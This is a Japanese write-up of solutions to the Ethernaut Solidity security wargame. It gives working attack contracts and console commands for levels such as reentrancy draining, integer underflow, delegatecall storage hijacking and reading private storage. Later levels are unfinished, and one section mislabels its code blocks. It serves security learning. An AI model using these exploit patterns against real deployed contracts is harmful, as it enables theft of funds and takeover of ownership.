【Solidity】Ethernaut 全22問解いてみる（随時更新）

# 目次
- [はじめに](#はじめに)
- [環境](#環境)
- [コードブロックの種類](#コードブロックの種類)
- [Ethernautの基本的な進め方](#ethernautの基本的な進め方)
- [0. Hello Ethernaut](#0-hello-ethernaut)
- [1. Fallback](#1-fallback)
- [2. Fallout](#2-fallout)
- [3. Coin Flip](#3-coin-flip)
- [4. Telephone](#4-telephone)
- [5. Token](#5-token)
- [6. Delegation](#6-delegation)
- [7. Force](#7-force)
- [8. Vault](#8-vault)
- [9. King](#9-king)
- [10. Re-entrancy](#10-re-entrancy)
- [11. Elevator](#11-elevator)
- [12. Privacy](#12-privacy)
- [13. Gatekeeper One](#13-gatekeeper-one)
- [14. Gatekeeper Two](#14-gatekeeper-two)
- [15. Naught Coin](#15-naught-coin)
- [16. Preservation](#16-preservation)
- [17. Recovery](#17-recovery)
- [18. MagicNumber](#18-magicnumber)
- [19. Alien Codex](#19-alien-codex)
- [20. Denial](#20-denial)
- [21. Shop](#21-shop)
- [22. Dex](#22-dex)


# はじめに
Solidityの進化が早すぎて先人たちの回答が全く役に立たなくなりつつあったので、自分でもまとめておく。（随時更新）

# 環境
- macOS v11.5.2
- Solidity v0.8.4
- Truffle v5.3.14

# コードブロックの種類
```js:Ethernaut
// Ethernautページのコンソール上で実行するJavaScriptコード
```

```solidity:Attacker.sol
// ハッキング用コントラクトのSolidityコード
```

```js:TruffleConsole
// Truffle console上で実行するJavaScriptコード
```

# Ethernautの基本的な進め方
1. "Get new instance"ボタンで自分用のインスタンスを用意
2. コンソール上か自分でデプロイしたコントラクト経由でインスタンスを操作
3. 要求されたタスクが完了したら"Submit instance"ボタンでクリアしているかを確認


# 0. Hello Ethernaut
**お題**
コンソール上で`info()`から順に関数実行。
各関数の返り値で次にやることが示される。

```js:Ethernaut
await contract.info();
await contract.info1();
await contract.info2("hello");
await contract.infoNum().then(n => n.toNumber());
await contract.info42();
await contract.theMethodName();
await contract.method7123949();
await contract.password();
await contract.authenticate("ethernaut0");
```

solidyコードを読み解けば、最後の2行だけでもクリアできることが分かる。



# 1. Fallback
**お題**
1. コントラクトのオーナーになる
2. コントラクトのbalanceを0にする

```js:Ethernaut
// contributeする (ここでは1wei）
await contract.getContribution().then(n => n.toNumber()); // 0
await contract.contribute({value: 1});
await contract.getContribution().then(n => n.toNumber()); // 1

// オーナーになる
// receive()関数はsendTransaction()で呼び出す
await contract.owner(); // not your address
await contract.sendTransaction({value: 1});
await contract.owner(); // your address

// balanceを引き出す
await getBalance(contract.address); // not 0
await contract.withdraw();
await getBalance(contract.address); // 0
```


# 2. Fallout
**お題**：コントラクトのオーナーになる。
**方針**：コンストラクタが誤字っているのでそこをつく。
**メモ**：Solidity v0.4.22以降はコンストラクタは`constructor()`で統一すること。

```js:Ethernaut
await contract.Fal1out();
```


# 3. Coin Flip
**お題**：10回連続でコイントスの結果を当てる。
**方針**：flip()と同じ処理を事前に行ってトス結果を得る。
**メモ**：Solidity v0.8以降はSafeMathは必要ない。

コントラクト経由で操作
`<your instance address>`の部分は各自変更

```solidity:Attacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

abstract contract CoinFlip {
    function flip(bool _guess) public virtual returns (bool);
}

contract Attacker {
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function attack(address targetAddr) external {
        uint256 blockValue = uint256(blockhash(block.number - 1));
        if (lastHash == blockValue) {
            revert();
        }
        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        CoinFlip(targetAddr).flip(side);
    }
}
```

Rinkebyにコントラクトをデプロイ後、truffle console上で以下を10回実行

```js:TruffleConsole
Attacker.deployed().then(c => c.attack('<your instance address>'));
```


# 4. Telephone
**お題**：コントラクトのオーナーになる。
**方針**：コントラクト経由でchangeOwner()を実行。
**メモ**：`tx.origin`は一連の処理の発端となったアドレス、`msg.sender`は関数の実行元アドレス。コントラクト経由で`changeOwner()`を実行した場合、`tx.origin`はあなたのアドレス、`msg.sender`はコントラクトのアドレスになる。

```solidity:Attacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

abstract contract Telephone {
    function changeOwner(address _owner) public virtual;
}

contract Attacker {
    function attack(address targetAddr) external {
        Telephone(targetAddr).changeOwner(msg.sender);
    }
}
```

```js:TruffleConsole
Attacker.deployed().then(c => c.attack('<your instance address>'));
```


# 5. Token
**お題**：最初に与えられた20トークンよりも多くのトークンを手に入れる。
**方針**：Solidity v0.6.0（< 0.8）なのにSafeMathを使用していないので、`require()`部分でアンダーフローを引き起こせる。

```js:Ethernaut
await contract.balanceOf(player).then(n => n.toNumber()); // 20

// 引数_toにはplayer以外のアドレスを渡す。
// （playerを渡した場合、自分のbalanceから_valueを引いた後、自分のbalanceに_valueを足すことになるので、balance値が変わらない。）
// アンダーフローを引き起こすために引数_valueには現在のbalanceより大きい値を渡す。
await contract.transfer(contract.address, 21);

// 値が大きすぎて toNumber() では処理できないので、toString() を使用する。
await contract.balanceOf(player).then(n => n.toString()); // "11579208923731619..."
```


# 6. Delegation
**お題**：`Delegation`コントラクトのオーナーになる。
**方針**：`Delegation.fallback()`から`Delegate.pwn()`を実行させる。
**メモ**：コントラクト経由で以下と同じことをしても、オーナーがコントラクトのアドレスになってしまうのでクリアできない。

```js:Ethernaut
contract.sendTransaction({data:web3.utils.sha3("pwn()")})
```

# 7. Force
**お題**：コントラクトの残高を0より大きくする。
**方針**：`selfdestruct()`を利用して強制的にethを送りつける。
**メモ**：Solidity v0.5.0以降、`address`型と`address payable`型は区別される。

```solidity:Attacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

contract Attacker {
    receive() external payable {}

    function attack(address payable targetAddr) external {
        selfdestruct(targetAddr);
    }
}
```

```js:TruffleConsole
a = await Attacker.deployed();
a.sendTransaction({value:1}); // Attackerコントラクトに1wei送信
a.attack('<your instance address>'); // Forceコントラクトに1wei送信
```

```js:Ethernaut
await getBalance(contract.address);　// "0.000000000000000001"
```


# 8. Vault
**お題**：Vaultコントラクトのロックを解除する。
**方針**：`web3.eth.getStorageAt()`を利用してprivate変数を調べる。
**メモ**：private変数は他のコントラクトからアクセスできないだけで、第三者から値を見られないわけではない。パスワードを利用する場合は、パスワードをハッシュ化した値をBC上に保存し、認証時はその値と"引数で受け取った値のハッシュ値"を比較するとよい。

```js:Ethernaut
// passwordを調べる
let hexPassword = await web3.eth.getStorageAt(contract.address, 1);
web3.utils.hexToAscii(hexPassword); // "A very strong secret password :)"

// ロック解除
await contract.unlock(hexPassword);
await contract.locked(); // false
```


# 9. King
**お題**：自分がkingになり、その後kingが更新されないようにする。
**方針**：`recieve() payable`や`fallback() payable`を実装していないコントラクトが一度kingになると、次回以降の`king.transfer(msg.value);`でエラーになるため、永遠にkingが入れ替わらなくなる。

```solidity:Attacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

contract Attacker {
    function attack(address payable targetAddr) external payable {
        (bool sent, ) = targetAddr.call{value: msg.value}("");
        require(sent, "Failed to send Ether");
    }
}
```
```js:Ethernaut
// prize値を確認
await contract.prize().then(n => n.toString());
```
```js:TruffleConsole
// 確認したprize値以上のetherを送信する
let a = await Attacker.deployed();
a.attack('<your instance address>', {value: 1000000000000000000});
```
```js:Ethernaut
// kingを確認
await contract._king();
```


# 10. Re-entrancy
**お題**：Reentranceコントラクトのbalanceを0にする。
**方針**：`balances[msg.sender] -= _amount;`よりも`call{value:_amount}("");`が先に実行されるため、`call{value:_amount}("");`の実行時に呼ばれる`receive()`の中で`withdraw()`を再帰的に呼び出す。
**メモ**：`call{value:_amount}("");`の実行時、`receive()`がない場合は`fallback() payable`が呼び出される。DAOハックの手口。

```solidity:Attacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

abstract contract Reentrance {
    function donate(address _to) public payable virtual;

    function withdraw(uint256 _amount) public virtual;
}

contract Attacker {
    uint256 donatedValue;
    Reentrance reentrance;

    receive() external payable {
        reentrance.withdraw(donatedValue);
    }

    function attack(address targetAddr) external payable {
        donatedValue = msg.value;
        reentrance = Reentrance(targetAddr);
        reentrance.donate{value: donatedValue}(address(this));
        reentrance.withdraw(donatedValue);
    }
}
```

```js:TruffleConsole
let a = await Attacker.deployed();
a.attack('<your instance address>', {value: web3.utils.toWei('0.1', 'ether')});
```

```js:Ethernaut
// Reentranceコントラクトのbalanceを確認
await getBalance(contract.address);
```

# 11. Elevator
**お題**：エレベータを最上階まで上げる。（パブリック変数`top`をtrueにする。）
**方針**：１回目はfalse、2回目はtrueを返すような`function isLastFloor(uint) external returns (bool);`を実装する。

```solidity:Attacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

abstract contract Elevator {
    function goTo(uint256 _floor) public virtual;
}

contract Attacker {
    bool lastValue = true;

    function isLastFloor(uint256) external returns (bool) {
        lastValue = !lastValue;
        return lastValue;
    }

    function attack(address targetAddr, uint256 _floor) external {
        Elevator(targetAddr).goTo(_floor);
    }
}
```
```js:TruffleConsole
let a = await Attacker.deployed();
a.attack('<your instance address>', 10);
```
```js:Ethernaut
await contract.floor().then(n => n.toNumber()); // false
await contract.top(); // true
```


# 12. Privacy
**お題**：Privacyコントラクトのロックを解除する。
**方針**：`web3.eth.getStorageAt()`で`data[2]`の値を調べる。
**メモ**：1ストレージスロットは32byte。32byte未満の変数が連続する場合、可能な限り同じスロットにまとめて格納される。1byteは16進数で2文字なので、各スロット2×32=64文字で表される。（冒頭の"0x"は除く）

data[2]の値を調べる。

```js:Ethernaut
await web3.eth.getStorageAt(contract.address, 0);
// "0x0000000000000000000000000000000000000000000000000000000000000001"
// locked (true -> "1")

await web3.eth.getStorageAt(contract.address, 1);
// "0x0000000000000000000000000000000000000000000000000000000061339123"
// ID (block.timestamp -> "000...00061339123")

await web3.eth.getStorageAt(contract.address, 2);
// "0x000000000000000000000000000000000000000000000000000000009123ff0a"
// flattening (10 -> "0a")
// denomination (255 -> "ff")
// awkwardness (uint16(now) -> "9123")

await web3.eth.getStorageAt(contract.address, 3);
// "0x33679469438abb4084e84611a0b0636dbd605a9c2e4afde592bfa6f12a25fff8"
// data[0]

await web3.eth.getStorageAt(contract.address, 4);
// "0x57f8ace739af7c68415b07b53704e93a3b8c7eef6923ccef4aade2cd061a7721"
// data[1]

await web3.eth.getStorageAt(contract.address, 5);
// "0x2c4c32455f538a9d485e0275d6761e9bc0dc8c5a77bd0ab981d414adbf031104"
// data[2]
```

ロック解除

```js:Ethernaut
// data[2]をbytes16にキャストしているので、data[2]の前半32文字分を引数にする。
await contract.unlock('0x2c4c32455f538a9d485e0275d6761e9b');
await contract.locked(); // false
```


# 13. Gatekeeper One
**お題**：ゲートをくぐり抜けて`entrant`に登録する。


# 14. Gatekeeper Two
**お題**：ゲートをくぐり抜けて`entrant`に登録する。

## 方針
### gateOne
コントラクト経由で実行すれば良い。

### gateTwo
`extcodesize(caller())`は呼び出し元(msg.sender)のコードサイズを取得する。
コントラクトノードはコードを所持しているので基本的には0にならないが、コントラクトを完全にデプロイする前、つまり、`constructor()`の中で実行することで0にすることができる。

### gateThree
`^`はXORをとる演算子。`uint64(0) - 1`は2進数表記にすると全て1になる値。
つまり、`uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))`　と `uint64(_gateKey)`は2進数表記にしたときに、全ての桁の値が異なっている必要がある。
これを満たす`_gateKey`を求めるには、`bytes8(keccak256(abi.encodePacked(msg.sender)))`のNOTを取れば良い。NOT演算子は`~`。

```solidity:Attacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

abstract contract GatekeeperTwo {
    function enter(bytes8 _gateKey) public virtual returns (bool);
}

contract Attacker {
    constructor(address targetAddr) {
        bytes8 _gateKey = ~bytes8(keccak256(abi.encodePacked(address(this))));
        GatekeeperTwo(targetAddr).enter(_gateKey);
    }
}
```


# 15. Naught Coin
**お題**：自分のNaughtCoin残高を0にする。
**方針**：`approve()`&`transferFrom()`で送金する。
**メモ**：ERC20の送金方法は`transfer()`と`approve()`&`transferFrom()`の2種類がある。

```js:Ethernaut
let amount = await contract.balanceOf(player);
await contract.approve(player, amount);
await contract.transferFrom(player, contract.address, amount);
```



# 16. Preservation
**お題**：`Preservation`コントラクトのオーナーになる。
**方針**：`delegateCall()`の呼び出し元と呼び出し先の変数定義（数/順番）が異なるので、そこをつく。
1. `setSecondTime()`で`timeZone1Library`プロパティの値を自分でデプロイしたコントラクトアドレスに変更
2. `setFirstTime()`で自分のコントラクトに実装した`setTime()`を実行させ、`owner`プロパティを上書きする。

**メモ**：`delegateCall()`で書き換えられる値は、変数名ではなくストレージ上の場所でマッチングされる。予期せぬ動作を防ぐため、状態変数を操作する際はライブラリを使用すると良い。

```js:Ethernaut
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

abstract contract Preservation {
    function setFirstTime(uint256 _timeStamp) public virtual;

    function setSecondTime(uint256 _timeStamp) public virtual;
}

contract Attacker {
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;

    function setTime(uint256) public {
        owner = tx.origin;
    }

    function attack(address targetAddr) external {
        uint256 _timeStamp = uint256(uint160(address(this)));
        Preservation(targetAddr).setSecondTime(_timeStamp);
    }
}
```

```solidity:Attacker.sol
await Attacker.deployed().then(a => a.attack('<your instance address>'));
```

```js:TruffleConsole
await contract.timeZone1Library(); // 自分でデプロイしたコントラクトのアドレスになっていることを確認
await contract.setFirstTime(0); // 引数はuintなら何でもいい
await contract.owner(); // 自分のアドレスになっていることを確認
```


# 17. Recovery
**お題**：失われたethを取り戻せ（別のアドレスに移せ)
**方針**：Etherscanでターゲットとなる`SimpleToken`コントラクトのアドレスを調べ、`selfdestruct()`を実行させる。

## ターゲットアドレスの見つけ方
1. Etherscan(Rinkeby)でインスタンスアドレスを検索
![sceenshot_1.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/231104/59ae4e88-b0ae-9159-1060-94785e4c12e3.jpeg)

2. "Creator Txn Hash"をクリック
![sceenshot_2.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/231104/90e4537e-9f7c-0192-9c60-77653fe1c901.jpeg)

3. 0.5Etherの送金先アドレスをクリック
![sceenshot_3.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/231104/4b630898-5fd8-11da-a817-6565d298b98f.jpeg)

4. アドレスをコピー
![sceenshot_4.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/231104/ddcca6dd-6223-7a67-9660-779c7f87550d.jpeg)


```solidity:Attacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

abstract contract SimpleToken {
    function destroy(address payable _to) public virtual;
}

contract Attacker {
    function attack(address targetAddr) external {
        SimpleToken(targetAddr).destroy(payable(msg.sender));
    }
}
```

```js:TruffleConsole
await Attacker.deployed().then(a => a.attack('<target address>'));
```


# 18. MagicNumber
**お題**：10opcode以内で42を返すコントラクトを作る。
**方針**：bytescode
**メモ**：

## 参考
- [Ethernaut Lvl 19 MagicNumber Walkthrough: How to deploy contracts using raw assembly opcodes](https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2)
- [Wikigedia:生命、宇宙、そして万物についての究極の疑問の答え](https://ja.wikipedia.org/wiki/%E7%94%9F%E5%91%BD%E3%80%81%E5%AE%87%E5%AE%99%E3%80%81%E3%81%9D%E3%81%97%E3%81%A6%E4%B8%87%E7%89%A9%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6%E3%81%AE%E7%A9%B6%E6%A5%B5%E3%81%AE%E7%96%91%E5%95%8F%E3%81%AE%E7%AD%94%E3%81%88)（`whatIsTheMeaningOfLife()`がなぜ42を返すのか）


## bytescode

# 19. Alien Codex


# 20. Denial

# 22. Dex